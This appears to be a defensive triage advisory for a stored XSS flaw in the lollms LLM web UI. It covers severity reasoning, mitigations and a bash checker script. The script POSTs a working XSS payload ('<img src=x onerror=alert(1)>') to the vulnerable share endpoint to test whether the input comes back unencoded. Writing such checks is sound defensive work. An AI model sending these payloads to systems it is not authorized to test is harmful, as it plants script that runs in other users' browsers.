A stored cross-site scripting

parisneo/lollms (Lord of Large Language Models) is an open-source, self-hosted UI for running local LLMs. The bug is a classic stored XSS in the POST /api/prompts/share endpoint: an authenticated user submits a shared prompt whose fields are rendered back to viewers without sufficient output encoding, executing attacker-controlled JavaScript in the victim's browser session. It affects the *latest* branch at disclosure — no clean fixed-tag exists yet, and lollms ships as a rolling pip install / git pull project without LTS lines.

The vendor CVSS of 8.7 (HIGH) is misleading for anyone managing a fleet. PR:L and UI:R are correctly modeled, but S:C / C:H / I:H assumes the victim browser context yields cross-tenant impact — in reality lollms is a single-tenant, single-operator personal LLM UI almost never deployed multi-user in production. For a 10k-host enterprise, this is closer to a LOW/backlog-hygiene item unless a research team explicitly runs a shared lollms instance.

Why this verdict

• Auth required (PR:L): attacker needs a valid account or an auth-disabled instance — cuts opportunistic mass exploitation.
• User interaction required (UI:R): payload only fires when a second user browses shared prompts; most lollms installs are single-user, so there is no second user.
• Installed-base share: parisneo/lollms is a niche hobbyist project — Shodan/Censys footprint is in the low hundreds globally versus millions of hosts for canonical enterprise tools.
• Role multiplier: lollms is *not* on the high-value-role catalog. It is not IdP, hypervisor, PAM, CI/CD, backup, edge appliance, or kernel-mode agent. Even in the worst-case role (a shared research LLM console), blast radius stops at the victim's browser context — no domain, fleet, or supply-chain outcome.
• No CSP / no Trusted Types raises exploit reliability but does not change scope — still one victim, one browser.

Why not higher?

MEDIUM/HIGH would require either enterprise-scale deployment, unauthenticated exploitation, or a high-value-role component. None apply: lollms is niche, auth is required, and the affected component is a personal LLM UI, not identity/edge/PKI/backup/hypervisor infrastructure.

Why not lower?

Not IGNORE because the bug is real and trivially exploitable where lollms *is* deployed with multiple users, and stolen LLM API keys can produce measurable financial loss. Teams running a shared research instance should treat this as a genuine backlog item, not a non-issue.

1. Inventory lollms instances — Run an internal Nmap/Censys sweep for HTTP banners containing lollms on ports 9600/9601/5000. If you find zero, close the ticket. No mitigation SLA at LOW — treat as backlog hygiene.
2. Bind lollms to localhost only — In configs/config.yaml set host: 127.0.0.1 and require an SSH tunnel or reverse-proxy with auth for remote access. Eliminates the network attack surface entirely.
3. Enforce a strict CSP via reverse proxy — Front lollms with nginx/Caddy and inject Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'. Neutralizes inline event handlers even if the payload lands.
4. Rotate any LLM provider API keys stored in lollms — If a shared instance was internet-exposed, assume stored OpenAI/Anthropic/HF keys are compromised and rotate them. Cheap insurance.
5. Track the upstream fix — Watch github.com/ParisNeo/lollms commits for output-encoding fixes on prompt share render paths. Update on the standard 365-day noisgate remediation SLA once available.

Run this on any Linux host you suspect is running lollms, or point it at a remote instance. Example: ./check_lollms.sh http://10.20.30.40:9600 — no privileges required beyond network reachability. Exit code 0 = PATCHED/NOT-INSTALLED, 1 = VULNERABLE, 2 = UNKNOWN.

#!/usr/bin/env bash
# noisgate verifier for CVE-2026-12228 (parisneo/lollms stored XSS)
# Usage: ./check_lollms.sh <base_url>   e.g. ./check_lollms.sh http://127.0.0.1:9600
set -u

TARGET="${1:-http://127.0.0.1:9600}"
UA="noisgate-verifier/1.0"

if ! command -v curl >/dev/null 2>&1; then
  echo "UNKNOWN: curl not installed"; exit 2
fi

# 1. Is lollms reachable?
ROOT=$(curl -sk -A "$UA" --max-time 5 "$TARGET/" || true)
if ! echo "$ROOT" | grep -qiE 'lollms|lord of large language models'; then
  echo "PATCHED: no lollms instance detected at $TARGET"
  exit 0
fi

# 2. Probe the vulnerable endpoint. A patched build should reject or encode the payload.
PAYLOAD='{"title":"noisgate-probe","content":"<img src=x onerror=alert(1)>","tags":["noisgate"]}'
RESP=$(curl -sk -A "$UA" -o /tmp/lollms_resp.$$ -w '%{http_code}' \
  -H 'Content-Type: application/json' \
  -X POST --max-time 5 \
  --data "$PAYLOAD" \
  "$TARGET/api/prompts/share" || echo 000)

BODY=$(cat /tmp/lollms_resp.$$ 2>/dev/null); rm -f /tmp/lollms_resp.$$

case "$RESP" in
  401|403)
    # Auth wall present — good hygiene, but the code path is still vulnerable if the attacker has creds
    echo "UNKNOWN: /api/prompts/share requires auth (HTTP $RESP). Vulnerable code path likely still present — re-run with valid session cookie."
    exit 2
    ;;
  200|201)
    if echo "$BODY" | grep -q '&lt;img'; then
      echo "PATCHED: payload HTML-encoded on echo"
      exit 0
    elif echo "$BODY" | grep -q '<img src=x onerror='; then
      echo "VULNERABLE: payload reflected unencoded at $TARGET/api/prompts/share"
      exit 1
    else
      echo "UNKNOWN: accepted (HTTP $RESP) but reflection surface unclear — validate manually in browser"
      exit 2
    fi
    ;;
  404)
    echo "PATCHED: endpoint /api/prompts/share not present (HTTP 404)"; exit 0 ;;
  000)
    echo "UNKNOWN: target unreachable"; exit 2 ;;
  *)
    echo "UNKNOWN: unexpected HTTP $RESP"; exit 2 ;;
esac

Sources

1. parisneo/lollms GitHub repository
2. huntr.dev disclosures for parisneo/lollms
3. CWE-79: Improper Neutralization of Input During Web Page Generation
4. OWASP Cross-Site Scripting Prevention Cheat Sheet
5. MDN — Content Security Policy
6. CISA Known Exploited Vulnerabilities Catalog
7. FIRST EPSS Model
8. NVD entry for CVE-2026-12228